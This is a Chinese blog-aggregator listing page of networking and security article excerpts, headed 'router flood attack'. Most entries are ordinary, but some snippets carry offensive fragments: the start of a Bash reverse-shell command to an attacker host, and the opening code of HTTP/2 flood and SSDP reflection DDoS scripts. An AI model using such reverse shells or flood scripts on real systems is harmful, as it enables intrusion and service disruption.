路由器洪水攻击

计算机网络

手机,平板/服务器/PC/手表,汽车等等)主机分为:客户(client)和服务器(server)客户:PC/手机/平板服务器->大部分属于大型数据中心(datacenter)接入网:将端系统连接至边缘路由器
Buleall·2025-02-16 13:44

自学网络安全（黑客技术）2024年 —100天学习计划

基于入门网络安全/黑客打造的：前言什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。
帝王挥剑指天下·2025-02-16 12:37

服务器，交换机和路由器的一些笔记

服务器、交换机和路由器是网络中常用的设备，它们的本质区别和联系如下：本质区别功能不同服务器：就像一个大型的资料仓库和工作处理中心，主要用来存储和管理各种数据，比如网站的网页数据、公司的办公文档等，还能为其他设备提供各种服务
m0_63052064·2025-02-16 11:01

自学网络安全（黑客技术）2024年 —100天学习计划

基于入门网络安全/黑客打造的：黑客&网络安全入门&进阶学习资源包前言什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、
白帽黑客cst·2025-02-16 11:26

【MediaTek】 T750 openwrt-23.05编译: error: ISO C++17 does not allow dynamic exception specifications

MediaTekT750T750采用先进的7nm制程，高度集成5G调制解调器和四核ArmCPU，提供较强的功能和配置，设备制造商得以打造精巧的高性能CPE产品，如固定无线接入（FWA）路由器和移动热点。
wellnw·2025-02-16 11:54

openwrt 修改路由ttl值

修改路由器的ttl值iptables-tmangle-IPOSTROUTING1-jTTL--ttl-set65
wellnw·2025-02-16 11:54

红队视角出发的k8s敏感信息收集——持久化存储与数据泄露

然而，从红队视角出发，这些存储卷也可能成为攻击者觊觎的目标。通过巧妙地利用配置不当或已知漏洞，攻击者能够从中收集到包括密钥、访问凭证在内的大量敏感数据，进而导致数据泄露事件的发生。
周周的奇妙编程·2025-02-16 10:51

一站式讲解Wireshark网络抓包分析的若干场景、过滤条件及分析方法

2、Wireshark抓包工具与tcpdump命令3、典型的网络场景下如何抓包3.1、网卡3.2、集线器3.3、交换机3.4、路由器3.5、加密机3.6、防火墙4、Wireshark简要介绍5、Wireshark
dvlinker·2025-02-16 10:17

VLAN技术实验报告

1.实验拓扑实验要求1.全网可达2.使用DHCP获取地址实验思路配置交换机，创建vlan，更改交换机的接口链路类型，配置trunk干道，放通vlan配置路由器，配置DHCP服务，在子接口DHCP服务实验步骤创建
Zym3188381164·2025-02-16 10:46

【MediaTek】 T750 openwrt-23.05编 cannot find dependency libexpat for libmesode

MediaTekT750T750采用先进的7nm制程，高度集成5G调制解调器和四核ArmCPU，提供较强的功能和配置，设备制造商得以打造精巧的高性能CPE产品，如固定无线接入（FWA）路由器和移动热点。
wellnw·2025-02-16 09:44

内网隧道代理技术（七）之Bash反弹shell

Bash反弹shellBash介绍Shell也称为终端或壳，是人与内核之间的翻译官，而Bash则是Linux中默认使用的ShellBash反弹Shell的命令如下：bash-i>&/dev/tcp/攻击机
怰月·2025-02-16 06:51

大学信息安全技术 期末考试复习题

一、单选题（一）1、在以下人为的恶意攻击行为中，属于主动攻击的是（）AA．数据篡改及破坏B．数据窃听C．数据流分析D．非法访问2、数据完整性指的是（）CA．保护网络中各系统之间交换的数据，防止因数据被截获而造成泄密
网络安全Max·2025-02-16 06:46

基于机器学习的网络安全态势感知模型研究与实现

随着网络攻击手段的不断升级和演变,传统的被动防御方式已经难以满足日益复杂的网络安全形势。
AI大模型应用之禅·2025-02-16 06:16

计算机网络--网络安全测试

答案：A云计算可以有效地防止网络攻击发生B网络攻击、病毒与垃圾邮件是网络安全的三大公害C网络攻击开始演变成某些国家或利益集团重要的政治、军事工具D趋利性是当前网络攻击的主要特点问题2得10分，满分10分以下关于网络安全的三大公害的描述中错误的是
黑客K-ing·2025-02-16 05:12

网络安全---SQL注入攻击

一、实验目的SQL注入是一种代码注入技术，可利用Web应用程序和数据库服务器之间接口中的漏洞。当用户的输入在发送到后端数据库服务器之前未在Web应用程序中正确检查时，该漏洞就存在。许多Web应用程序从用户处获取输入，然后使用这些输入构建SQL查询，以便从数据库获取信息。Web应用程序还使用SQL查询将信息存储在数据库中。这些都是开发Web应用程序的常见做法。当SQL查询没有仔细构建时，可能会出现S
犹若故人归·2025-02-16 02:20

溯源-如何还原攻击路径

溯源-如何还原攻击路径1.web入侵流程2.windows-还原攻击路径3.linux-还原攻击路径1.web入侵流程信息收集->漏洞扫描->渗透攻击->提权->后渗透->持续控制2.windows-还原攻击路径日志分析
C Aires·2025-02-16 02:19

筑墙扫漏检入侵网安三叉戟出阵

20世纪90年代中期，在互联网迅速发展时期的网络对抗格局中，“攻”的力量大致可以分成两类：一类是大量低层次、低技术、破坏性的攻击者，包括“脚本小子”；另一类是一小群深入研究、发现漏洞的技术高手。
Liana-Fany·2025-02-16 01:44

网络安全-攻击流程-传输层

传输层攻击主要针对OSI模型的第四层，涉及TCP和UDP协议的安全漏洞。
星河776(重名区分)·2025-02-16 01:44

XSS攻击全貌：原理、分类、检测与防御策略研究

XSS攻击原理的深入剖析跨站脚本攻击（Cross-SiteScripting，简称XSS）作为一种广泛存在的web应用程序安全漏洞，其机制在于利用了客户端与服务器之间数据交换过程中的信任链被恶意破坏。
键盘侠伍十七·2025-02-15 22:47

常见的 Web 攻击方式有哪些，如何防御？

一、XSS攻击（跨站脚本攻击）攻击原理：恶意脚本通过用户输入注入页面，分为存储型（数据库持久化）、反射型（URL参数注入）、DOM型（客户端脚本修改）防御方案：//1.输入过滤（Node.js示例）constxss
程序员黄同学·2025-02-15 21:43

Memcached服务器UDP反射放大攻击

1、前言2月28日，Memcache服务器被曝出存在UDP反射放大攻击漏洞。攻击者可利用这个漏洞来发起大规模的DDoS攻击，从而影响网络正常运行。
weixin_30639719·2025-02-15 20:03

网络安全之反射放大型DDOS

背景据CERNET2014年10月的月报统计，其38个主节点中有超过一半检测到来自国内次数超过2200次、总流量超过16TB的NTP反射放大攻击；2016年10月美国Dyn公司的DNS服务器遭受DNS反射放大攻击与
tiezhuLee·2025-02-15 20:31

HTTP/2 flood攻击脚本.js

consturl=require('url'),fs=require('fs'),http2=require('http2'),http=require('http'),tls=require('tls'),cluster=require('cluster'),axios=require('axios'),https=require('https'),UserAgent=require('user
金猪报喜-阿尔法·2025-02-15 19:56

【大数据安全分析】网络异常相关安全分析场景

随着信息技术的飞速发展，网络环境变得日益复杂，各种网络攻击手段层出不穷。在大数据安全分析领域，威胁情报关联和账号异常分析已经取得了较好的效果，而网络异常分析同样具有重要的价值。
扫地僧009·2025-02-15 18:20

网络安全-攻击流程-网络层

网络层攻击主要针对OSI模型中的第三层（网络层），涉及IP协议、路由机制等核心功能。攻击者通过操纵数据包、路由信息或协议漏洞实施破坏。
星河776(重名区分)·2025-02-15 16:00

人生建议往死里学网络安全！零基础也能跨行学习！！漏洞挖掘还能做副业

无论是黑客攻击、勒索病毒、数据泄露，还是国家间的信息战，网络安全已经成为现代社会的基础设施之一。所以，首先要明白学习网络安全的重要性：你不仅是在学习技术，更多的是在为自己和他人的安全“筑城
～小羊没烦恼～·2025-02-15 11:19

30岁了，零基础想转行网安从头开始现实吗？

无论是大公司还是中小企业，都急需网络安全专家来防范黑客攻击、数据泄露以及其他各种网络威胁。这样的背景使得网络安全领域一直是个朝阳行业，需求巨大，人才紧缺。2.年龄不是问题在许多
白帽黑客勇哥·2025-02-15 10:18

Web项目测试专题（七）安全性测试

输入验证：测试所有用户输入点，防止SQL注入、XSS（跨站脚本攻击）等常见攻击。安全头配置：检查HTTP安全头（如CSP、X-Fram
2025年一定要上岸·2025-02-15 10:48

SSDP反射放大DDOS攻击脚本.c

/*NEWANDIMPROVEDSSDPDDOSSCRIPT.*/#include#include#include#include#include#include#include#include#include#include#include#defineMAX_PACKET_SIZE8192#definePHI0x9e3779b9staticuint32_tQ[4096],c=362436;st
金猪报喜-阿尔法·2025-02-15 08:58

Cesium高级开发教程之三十五：预警扩散圆

1.应用场景与需求背景在地理信息系统（GIS）和相关可视化应用中，预警扩散圆常被用于表示一些具有扩散性的事件或危险区域，比如：自然灾害预警：地震引发的震动波扩散、洪水的蔓延范围、火山喷发的影响区域等。
Thomaz529·2025-02-15 07:26

DNS污染、劫持频发？HTTPDNS让安全无死角

传统DNS解析方式容易受到中间人攻击、劫持、劫持广告注入、钓鱼网站引导等问题的影响，不仅影响用户体验，还可能带来严重的安全风险。
Anna_Tong·2025-02-15 06:16

Java 网络原理 ⑤-DNS || 以太网

不知道大家是否还记得，网络层中活跃的设备是路由器；那么数据链路层和物理层活跃的是什么设备呢？没错，就是交换机；其实这么说并非准确，现在的交换
码农小祥·2025-02-15 05:06

华为HCNA（华为认证网络工程师）大纲

以下是HCNA的大纲内容，供参考：文章目录1.网络基础网络概念：OSI模型、TCP/IP模型、IP地址与子网划分、DNS、DHCP网络设备：路由器、交换机、HUB、防火墙的功能与作用网络传输介质：双绞线
AnalogElectronic·2025-02-15 05:34

2024年最新Web应用安全威胁与防护措施(3)

可见，针对上述威胁，我们应采取主动的Web安全策略，以及严格的措施，来确保敏感的数据信息、Web应用、以及信息系统等资产，免受攻击与侵害。下面，我将和您讨论五种最主要的Web应用安全威胁，以及
2401_84240129·2025-02-15 03:13

Web应用安全威胁与防护措施

而且，无论是系统陈旧且未给漏洞打上安全补丁，还是各种恶意软件，甚至是一些人为的错误，都可以成为系统的受攻击面。如果仔细
星环之光·2025-02-15 03:43

应急总结（Linux&&Windows）

网络安全应急响应不仅涉及入侵检测、事件诊断、攻击隔离、快速恢复、网络追踪、计算机取证、自动响应等关键技术，还对安全管理提
闰土炖猹·2025-02-15 00:55

【网络安全 | 漏洞挖掘】跨子域账户合并导致的账户劫持与删除

该漏洞允许攻击者通过修改邮箱地址，在不同子域之间合并账户，进而导致账户劫持，甚至意外删除受害者账户。正文目标系统存在两个子域：example.com（司机门户
秋说·2025-02-15 00:55

CSRF+Self XSS

poc2.构造csrfpoc3.使用CSRFTester工具生成CSRFpoc3.1打开工具3.2设置浏览器代理3.3用户登录3.4抓取和伪造请求4.访问修改后的url(模仿用户访问)前言CSRF，跨站请求攻击
会伏地的向日葵·2025-02-14 21:32

HCIA项目实践（网络）---NAT地址转化技术

在NAT转换过程中，路由器会在数据包从内部网络发往外部网络时，将源IP地址替换为公有IP地址，并记录转换关系；
沅沅真真·2025-02-14 21:58

Web安全攻防：渗透测试实战指南(徐焱)(Z-Library)

目录作者简介······目录······《Web安全攻防：渗透测试实战指南》由浅入深、全面、系统地介绍了当前流行的高危漏洞的攻击手段和防御方法，并力求语言通俗易懂，举例简单明了，便于读者阅读、领会。
快乐的红中·2025-02-14 21:28

【网络安全】Self XSS + 文件上传CSRF

于是，我尝试注入XSSpayloads，但由于HTML编码，攻击未能成功。发现
秋说·2025-02-14 21:28

2025年——【寒假】自学黑客计划（网络安全）

CSDN大礼包：基于入门网络安全/黑客打造的：黑客&网络安全入门&进阶学习资源包前言什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”
网安CILLE·2025-02-14 20:47

人生建议往死里学网络安全！零基础也能跨行学习！！漏洞挖掘还能做副业

无论是黑客攻击、勒索病毒、数据泄露，还是国家间的信息战，网络安全已经成为现代社会的基础设施之一。所以，首先要明白学习网络安全的重要性：你不仅是在学习技术，更多的是在为自己和他人的安全“筑城
黑客老哥·2025-02-14 20:47

如何在 Linux 中查找默认网关 IP？

在计算机网络中，默认网关（DefaultGateway）是一个关键的网络设备，通常是路由器或防火墙，它负责将数据包从本地网络转发到其他网络。
wljslmz·2025-02-14 19:45

IS-IS 泛洪机制 | LSP 处理流程

IS-IS泛洪机制作为一种链路状态路由协议，IS-IS与OSPF类似，在学习和计算路由之前，区域中的路由器首先需交换链路状态信息，最终使所有路由器的链路状态数据库达到一致状态，这就如同每台路由器都拥有一张相同的网络拓扑图
斐夷所非·2025-02-14 19:14

【论文阅读】Revisiting the Assumption of Latent Separability for Backdoor Defenses

https://github.com/Unispac/Circumventing-Backdoor-Defenses摘要和介绍在各种后门毒化攻击中，来自目标类别的毒化样本和干净样本通常在潜在空间中形成两个分离的簇
开心星人·2025-02-14 19:10

企业安全建设——安全防线框架建设（一）

前言为什么会有此篇文章，早期的攻击，从弱口令，SQL注入，上传漏洞，演变到现在的反序列化，供应链，公私云，区块链等攻击方式，早期的防御方式从防火墙，防病毒，入侵检测，演变到现在的威胁情报，态势感知，各类风控系统
网安墨雨·2025-02-14 18:34

vscode编程插件cline 配置deepseek使用说明

deepseek公有云服务，依次配置，相关配置信息获取首次调用API|DeepSeekAPIDocs使用ollama在本地部署模型最近deepseek用起来问题太多，不知道是用户太多把服务器挤爆了，还是美帝网络攻击的问题使用
telllong·2025-02-14 17:57

[网络安全]XSS之Cookie外带攻击姿势详析

概念XSS的Cookie外带攻击就是一种针对Web应用程序中的XSS（跨站脚本攻击）漏洞进行的攻击，攻击者通过在XSS攻击中注入恶意脚本，从而窃取用户的Cookie信息。
网络安全Jack·2025-02-14 15:48

IA-------配置ACL

1.分类基础ACL---仅关注数据包中的源IP地址高级ACL---除了关注数据包中的源IP地址以外，还会关注目标IP地址，以及协议和端口号2.定义访问控制列表1.访问控制---在路由器流量流入或者流出的接口上
是懒羊羊吖～·2025-02-14 13:29
上一页 1 2 3 4 5 6 7 8 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他